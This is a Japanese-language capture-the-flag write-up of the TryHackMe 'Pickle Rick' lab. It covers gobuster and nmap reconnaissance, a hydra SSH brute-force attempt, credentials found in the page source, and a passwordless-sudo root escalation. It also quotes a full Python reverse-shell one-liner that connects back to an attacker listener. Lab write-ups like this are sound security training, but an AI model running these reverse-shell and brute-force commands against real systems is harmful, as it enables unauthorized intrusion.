TryHackMe Writeup: Pickle Rick

# はじめに
今回は私がTryHackMeの2問目に解いた問題「Pickle Rick」のWriteupを書いていきたいと思います．前回よりかは少し慣れたかなという感じでした．

# Task1：Pickle Rick
今回のRoomはタスクが一つしかなく，問題も3問と少ないですが，その分与えられているヒントが少ないものでした．

## webサーバーにアクセス
説明文にwebサーバーとあったのでとりあえず該当IPにfirefoxでつないでみます．
![Pasted image 20240224140602.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/c554d855-77d8-163f-ffbc-4803bbe4acfd.png)
ここから特に得られる情報はなさそうです．
(後でここにもヒントがあることにも気づきますが…)

## ディレクトリ探索(1)
gobuster dir -u 10.10.27.90 -w `/usr/share/wordlists/dirb/common.txt -o gobuster_dir.log`
![Pasted image 20240224141202.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/9ebf7951-c387-7616-ceff-025ecc2167d5.png)
`assets`というディレクトリがあるようですね．

## ポートスキャン
`sudo nmap -p- -vv -T4 -O -sV 10.10.27.90`
![Pasted image 20240224140909.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/40fbe2e9-bf57-af65-0b9b-0fe945a1da9a.png)
20番と80番ポートが開いているようです．(SSHとApache)

## Hydra
トップページに書いてた`BURRRRRRRRP`がユーザ名かなと思ったのでブルートフォース試してみます．
`hydra -l BURRRRRRRRP -P /usr/share/wordlists/rockyou.txt ssh:10.10.27.90`
![Pasted image 20240224141704.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/df27721d-c102-54a8-f617-930122d4845b.png)
パスワード認証を許可してないみたいですね．

先ほどのディレクトリ探索で明らかになった`assets`にアクセスしてみます．
![Pasted image 20240224141818.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/d2744264-c73b-5a9d-9b3f-9719aee1afa1.png)
一通り見てみたけど特に関係なさそう？


## ディレクトリ探索(2)
html，php，txtに絞って探索します．
`gobuster dir -u 10.10.27.90 -w　/usr/share/wordlists/dirb/common.txt -x html,txt,php -o gobuster_dir_1.log`
![Pasted image 20240224142937.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/ff05f1d5-3259-ca66-3e69-382cb64d5b04.png)
`index.html`，`login.php`，`portal.php`が見つかりました．

`login.php`にアクセスしてみます．
![Pasted image 20240224143437.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/2c34183b-55f5-f1d6-f783-da02bca0856e.png)
ログイン画面が出てきました．/assetsの中に入っているportal.jpgが読み込まれてるみたいですね．
`exiftool`で`portal.jpg`を見てみます．
特にヒントはありませんでした．

## robots.txt
![Pasted image 20240224144948.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/09379433-067b-2a75-99a3-596caa6e4f4b.png)
謎の文字列が出てきました．これがパスワードだったりするんですかね？
先ほどのログインフォームに入力してみます．
ユーザ名：BURRRRRRRRP
パスワード：Wubbalubbadubdub
これではログインできませんでした．
ここで先ほど書いたトップページのページのソースを見てみます．
![Pasted image 20240224150054.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/3a46d8f0-ffff-13aa-60b1-281c061e41f1.png)
こんなところに書いてたんですね．めちゃくちゃ得られる情報がありました．
これでログインできました．
ユーザ名：R1ckRul3s
パスワード：Wubbalubbadubdub
＊他の人のwriteup見てわかったんですけど，ディレクトリ探索の時にwordlist変えたらrobots.txtも出てくるみたいですね．

## Reverse Shell
![Pasted image 20240224150205.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/fffc4a10-c3ee-bab3-c53a-063086142e49.png)
![Pasted image 20240224150323.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/fe478f2f-885a-c6b3-3784-d50fde43829d.png)
ここに何かしらのコマンド打てばいいのかな
コマンドパネルが出てくる．それ以外のページは全て許可がないらしい
![Pasted image 20240224151904.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/b695b634-b50b-dea3-f6bd-15e8be81d3cc.png)
ここにもコメントアウトされてるものがある．
なんかコメントアウトされてるところがある(base64？)
とりあえずこれをcommand panelに入力してみる．
特に変化なしですね．
先ほどのコメントアウトされてるものを10回デコードしてみると`rabbit hole`（無駄な時間みたいな意味らしい．ひっかけですかね？）というものが出てきました．
 
`ls`コマンド入力してみます． 
![Pasted image 20240224152121.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/deeef0f9-65ea-4294-2a03-cd11bd1475fc.png)
`cat Sup3rS3cretPickl3Ingred.txt`を試してみましたが，見ることができないみたいです．
![Pasted image 20240224152215.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/8b9568ae-e542-e476-7a04-2c40fa036603.png)
`less`コマンドで見ることができます．これが1問目の答えです．

他に何のコマンドが使えるのか調べてみます．とりあえずpythonを調べてみます．
` python3 -c "print('hello world')"`
python3は使えるみたいです．ここでpythonの[リバースシェル](https://orebibou.com/ja/home/201907/20190701_001/)について調べてみます．

```python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.63.195",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'```
この時，IPアドレスとポートは変更してください.
`nc -lnvp 1234`で通信を待ち受けます．これでshellが取れました．
![Pasted image 20240224154424.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/9cb4cd85-f3b2-17a1-18e4-dc1394eb3a3d.png)

`cat clue.txt`で見てみると`Look around the file system for the other ingredient.`とのことだったので`find`コマンドで探せばいいんですかね？

`find / -name second*`
![Pasted image 20240224154854.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/44107ca7-b17c-38f3-5f91-5a56c2fb3499.png)
`/home/rick/second ingredients`にあるようです．`cat`で見る際にはパス部分をダブルクオーテションで囲むようにしましょう．
これで２つ目の答えがわかりました．

## Privilege escalation
ダメもとで`find`してみます．
`find / -name last`
やっぱり無理でしたね．

sudoで実行できるコマンドを調べます．
`sudo -l`
![Pasted image 20240224155532.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/07949d2a-cbb0-70ec-ef35-305f2373ba7d.png)
現在のユーザ(www-data)は全てのコマンドをパスワード無しで実行できるようです．
`sudo bash`でrootに昇格できました．
![Pasted image 20240224155624.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/fcde8f79-af9e-bef0-f0cc-981d9a0770de.png)
後はrootディレクトリに`3rd.txt`があるのでこれで終わりです．

## 終わりに
以前に解いたRootMeと基本的な流れは同じだったので時間的にも早く解くことができました．
是非そちらの[記事](https://qiita.com/yuudee/items/3d93e6dd8965f2f3b66d)も見てみてください．
よろしければ改善点などあればコメントいただけると幸いです．
ありがとうございました．